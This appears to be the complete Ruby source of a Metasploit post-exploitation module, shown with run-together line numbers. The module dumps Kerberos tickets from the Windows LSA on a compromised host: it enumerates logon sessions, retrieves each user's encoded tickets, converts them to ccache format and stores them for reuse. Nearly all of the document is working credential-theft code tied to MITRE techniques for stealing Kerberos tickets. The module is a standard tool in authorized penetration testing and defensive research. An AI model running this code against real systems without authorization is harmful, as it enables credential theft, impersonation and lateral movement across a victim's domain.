Path: blob/master/modules/post/windows/manage/kerberos_tickets.rb
33084 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/proto/kerberos/model/kerberos_flags'6require 'rex/proto/kerberos/model/ticket_flags'7require 'rex/proto/ms_dtyp'89class MetasploitModule < Msf::Post10include Msf::Post::Process11include Msf::Post::Windows::Lsa12include Msf::Exploit::Remote::Kerberos::Ticket1314CURRENT_PROCESS = -115CURRENT_THREAD = -21617# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-security_logon_type18SECURITY_LOGON_TYPE = {190 => 'UndefinedLogonType',202 => 'Interactive',213 => 'Network',224 => 'Batch',235 => 'Service',246 => 'Proxy',257 => 'Unlock',268 => 'NetworkCleartext',279 => 'NewCredentials',2810 => 'RemoteInteractive',2911 => 'CachedInteractive',3012 => 'CachedRemoteInteractive',3113 => 'CachedUnlock'32}.freeze33# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-kerb_protocol_message_type34KERB_RETRIEVE_ENCODED_TICKET_MESSAGE = 835KERB_QUERY_TICKET_CACHE_EX_MESSAGE = 143637def initialize(info = {})38super(39update_info(40info,41'Name' => 'Kerberos Ticket Management',42'Description' => %q{43Manage kerberos tickets on a compromised host.44},45'License' => MSF_LICENSE,46'Author' => [47'Will Schroeder', # original idea/research48'Spencer McIntyre'49],50'References' => [51[ 'URL', 'https://github.com/GhostPack/Rubeus' ],52[ 'URL', 'https://github.com/wavvs/nanorobeus' ],53['ATT&CK', Mitre::Attack::Technique::T1558_STEAL_OR_FORGE_KERBEROS_TICKETS],54['ATT&CK', Mitre::Attack::Technique::T1003_004_LSA_SECRETS],55['ATT&CK', Mitre::Attack::Technique::T1005_DATA_FROM_LOCAL_SYSTEM]56],57'Platform' => ['win'],58'SessionTypes' => %w[meterpreter],59'Actions' => [60['DUMP_TICKETS', { 'Description' => 'Dump the Kerberos tickets' }],61['ENUM_LUIDS', { 'Description' => 'Enumerate session logon LUIDs' }],62['SHOW_LUID', { 'Description' => 'Show the current LUID' }],63],64'DefaultAction' => 'DUMP_TICKETS',65'Notes' => {66'Stability' => [CRASH_SAFE],67'Reliability' => [],68'SideEffects' => []69},70'Compat' => {71'Meterpreter' => {72'Commands' => %w[73stdapi_net_resolve_host74stdapi_railgun_api75stdapi_railgun_memread76stdapi_railgun_memwrite77]78}79}80)81)8283register_options([84OptString.new(85'LUID',86[false, 'An optional logon session LUID to target'],87conditions: [ 'ACTION', 'in', %w[SHOW_LUID DUMP_TICKETS]],88regex: /^(0x[a-fA-F0-9]{1,16})?$/89),90OptString.new(91'SERVICE',92[false, 'An optional service name wildcard to target (e.g. krbtgt/*)'],93conditions: %w[ACTION == DUMP_TICKETS]94)95])96end9798def run99case session.native_arch100when ARCH_X64101@ptr_size = 8102when ARCH_X86103@ptr_size = 4104else105fail_with(Failure::NoTarget, "This module does not support #{session.native_arch} sessions.")106end107@hostname_cache = {}108@indent_level = 0109110send("action_#{action.name.downcase}")111end112113def action_dump_tickets114handle = lsa_register_logon_process115luids = nil116if handle117if target_luid118luids = [ target_luid ]119else120luids = lsa_enumerate_logon_sessions121print_error('Failed to enumerate logon sessions.') if luids.nil?122end123trusted = true124else125handle = lsa_connect_untrusted126# if we can't register a logon process then we can only act on the current LUID so skip enumeration127fail_with(Failure::Unknown, 'Failed to obtain a handle to LSA.') if handle.nil?128trusted = false129end130luids ||= [ get_current_luid ]131132print_status("LSA Handle: 0x#{handle.to_s(16).rjust(@ptr_size * 2, '0')}")133auth_package = lsa_lookup_authentication_package(handle, 'kerberos')134if auth_package.nil?135lsa_deregister_logon_process(handle)136fail_with(Failure::Unknown, 'Failed to lookup the Kerberos authentication package.')137end138139luids.each do |luid|140dump_for_luid(handle, auth_package, luid, null_luid: !trusted)141end142lsa_deregister_logon_process(handle)143end144145def action_enum_luids146current_luid = get_current_luid147luids = lsa_enumerate_logon_sessions148fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil?149150luids.each do |luid|151logon_session_data_ptr = lsa_get_logon_session_data(luid)152unless logon_session_data_ptr153print_status("LogonSession LUID: #{luid}")154next155end156157print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')158session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)159end160end161162def action_show_luid163current_luid = get_current_luid164luid = target_luid || current_luid165logon_session_data_ptr = lsa_get_logon_session_data(luid)166return unless logon_session_data_ptr167168print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')169session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)170end171172def dump_for_luid(handle, auth_package, luid, null_luid: false)173logon_session_data_ptr = lsa_get_logon_session_data(luid)174return unless logon_session_data_ptr175176print_logon_session_summary(logon_session_data_ptr)177session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)178179logon_session_data_ptr.contents.logon_id.clear if null_luid180query_tkt_cache_req = KERB_QUERY_TKT_CACHE_REQUEST.new(181message_type: KERB_QUERY_TICKET_CACHE_EX_MESSAGE,182logon_id: logon_session_data_ptr.contents.logon_id183)184query_tkt_cache_res_ptr = lsa_call_authentication_package(handle, auth_package, query_tkt_cache_req)185if query_tkt_cache_res_ptr186indented_print do187dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)188end189session.railgun.secur32.LsaFreeReturnBuffer(query_tkt_cache_res_ptr.value)190end191end192193def dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)194case session.native_arch195when ARCH_X64196query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x64197retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x64198retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x64199when ARCH_X86200query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x86201retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x86202retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x86203end204205tkt_cache = query_tkt_cache_response_klass.read(query_tkt_cache_res_ptr.contents)206tkt_cache.tickets.each_with_index do |ticket, index|207server_name = read_lsa_unicode_string(ticket.server_name)208if datastore['SERVICE'].present? && !File.fnmatch?(datastore['SERVICE'], server_name.split('@').first, File::FNM_CASEFOLD | File::FNM_DOTMATCH)209next210end211212server_name_wz = session.railgun.util.str_to_uni_z(server_name)213print_status("Ticket[#{index}]")214indented_print do215retrieve_tkt_req = retrieve_tkt_request_klass.new(216message_type: KERB_RETRIEVE_ENCODED_TICKET_MESSAGE,217logon_id: logon_session_data_ptr.contents.logon_id, cache_options: 8218)219ptr = session.railgun.util.alloc_and_write_data(retrieve_tkt_req.to_binary_s + server_name_wz)220next if ptr.nil?221222retrieve_tkt_req.target_name.len = server_name_wz.length - 2223retrieve_tkt_req.target_name.maximum_len = server_name_wz.length224retrieve_tkt_req.target_name.buffer = ptr + retrieve_tkt_req.num_bytes225session.railgun.memwrite(ptr, retrieve_tkt_req)226retrieve_tkt_res_ptr = lsa_call_authentication_package(handle, auth_package, ptr, submit_buffer_length: retrieve_tkt_req.num_bytes + server_name_wz.length)227session.railgun.util.free_data(ptr)228next if retrieve_tkt_res_ptr.nil?229230retrieve_tkt_res = retrieve_tkt_response_klass.read(retrieve_tkt_res_ptr.contents)231if retrieve_tkt_res.ticket.encoded_ticket != 0232ticket = kirbi_to_ccache(session.railgun.memread(retrieve_tkt_res.ticket.encoded_ticket, retrieve_tkt_res.ticket.encoded_ticket_size))233ticket_host = ticket.credentials.first.server.components.last.snapshot234ticket_host = resolve_host(ticket_host) if ticket_host235236Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(ticket.encode)237Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: ticket_host)238presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ticket)239print_line(presenter.present.split("\n").map { |line| " #{print_prefix}#{line}" }.join("\n"))240end241session.railgun.secur32.LsaFreeReturnBuffer(retrieve_tkt_res_ptr.value)242end243end244end245246def target_luid247return nil if datastore['LUID'].blank?248249val = datastore['LUID'].to_i(16)250Rex::Proto::MsDtyp::MsDtypLuid.new(251high_part: (val & 0xffffffff) >> 32,252low_part: (val & 0xffffffff)253)254end255256def kirbi_to_ccache(input)257krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(input)258Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)259end260261def get_current_luid262luid = get_token_statistics&.authentication_id263fail_with(Failure::Unknown, 'Failed to obtain the current LUID.') unless luid264luid265end266267def get_token_statistics(token: nil)268if token.nil?269result = session.railgun.advapi32.OpenThreadToken(CURRENT_THREAD, session.railgun.const('TOKEN_QUERY'), false, @ptr_size)270unless result['return']271error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first272unless error == ::WindowsError::Win32::ERROR_NO_TOKEN273print_error("Failed to open the current thread token. OpenThreadToken failed with: #{error}")274return nil275end276277result = session.railgun.advapi32.OpenProcessToken(CURRENT_PROCESS, session.railgun.const('TOKEN_QUERY'), @ptr_size)278unless result['return']279error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first280print_error("Failed to open the current process token. OpenProcessToken failed with: #{error}")281return nil282end283end284token = result['TokenHandle']285end286287result = session.railgun.advapi32.GetTokenInformation(token, 10, TOKEN_STATISTICS.new.num_bytes, TOKEN_STATISTICS.new.num_bytes, @ptr_size)288unless result['return']289error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first290print_error("Failed to obtain the token information. GetTokenInformation failed with: #{error}")291return nil292end293TOKEN_STATISTICS.read(result['TokenInformation'])294end295296def resolve_host(name)297name = name.dup.downcase # normalize the case since DNS is case insensitive298return @hostname_cache[name] if @hostname_cache.key?(name)299300vprint_status("Resolving hostname: #{name}")301begin302address = session.net.resolve.resolve_host(name)[:ip]303rescue Rex::Post::Meterpreter::RequestError => e304elog("Unable to resolve #{name.inspect}", error: e)305end306@hostname_cache[name] = address307end308309def print_logon_session_summary(logon_session_data_ptr, annotation: nil)310sid = '???'311if datastore['VERBOSE'] && logon_session_data_ptr.contents.psid != 0312# reading the SID requires 3 railgun calls so only do it in verbose mode to speed things up313# reading the data directly wouldn't be much faster because SIDs are of a variable length314result = session.railgun.advapi32.ConvertSidToStringSidA(logon_session_data_ptr.contents.psid.to_i, @ptr_size)315if result316sid = session.railgun.util.read_string(result['StringSid'])317session.railgun.kernel32.LocalFree(result['StringSid'])318end319end320321print_status("LogonSession LUID: #{logon_session_data_ptr.contents.logon_id} #{annotation}")322indented_print do323print_status("User: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_domain)}\\#{read_lsa_unicode_string(logon_session_data_ptr.contents.user_name)}")324print_status("UserSID: #{sid}") if datastore['VERBOSE']325print_status("Session: #{logon_session_data_ptr.contents.session}")326print_status("AuthenticationPackage: #{read_lsa_unicode_string(logon_session_data_ptr.contents.authentication_package)}")327print_status("LogonType: #{SECURITY_LOGON_TYPE.fetch(logon_session_data_ptr.contents.logon_type.to_i, '???')} (#{logon_session_data_ptr.contents.logon_type.to_i})")328print_status("LogonTime: #{logon_session_data_ptr.contents.logon_time.to_datetime.localtime}")329print_status("LogonServer: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_server)}") if datastore['VERBOSE']330print_status("LogonServerDNSDomain: #{read_lsa_unicode_string(logon_session_data_ptr.contents.dns_domain_name)}") if datastore['VERBOSE']331print_status("UserPrincipalName: #{read_lsa_unicode_string(logon_session_data_ptr.contents.upn)}") if datastore['VERBOSE']332end333end334335def peer336nil # drop the peer prefix from messages337end338339def indented_print(&block)340@indent_level += 1341block.call342ensure343@indent_level -= 1344end345346def print_prefix347super + (' ' * @indent_level.to_i * 2)348end349end350351352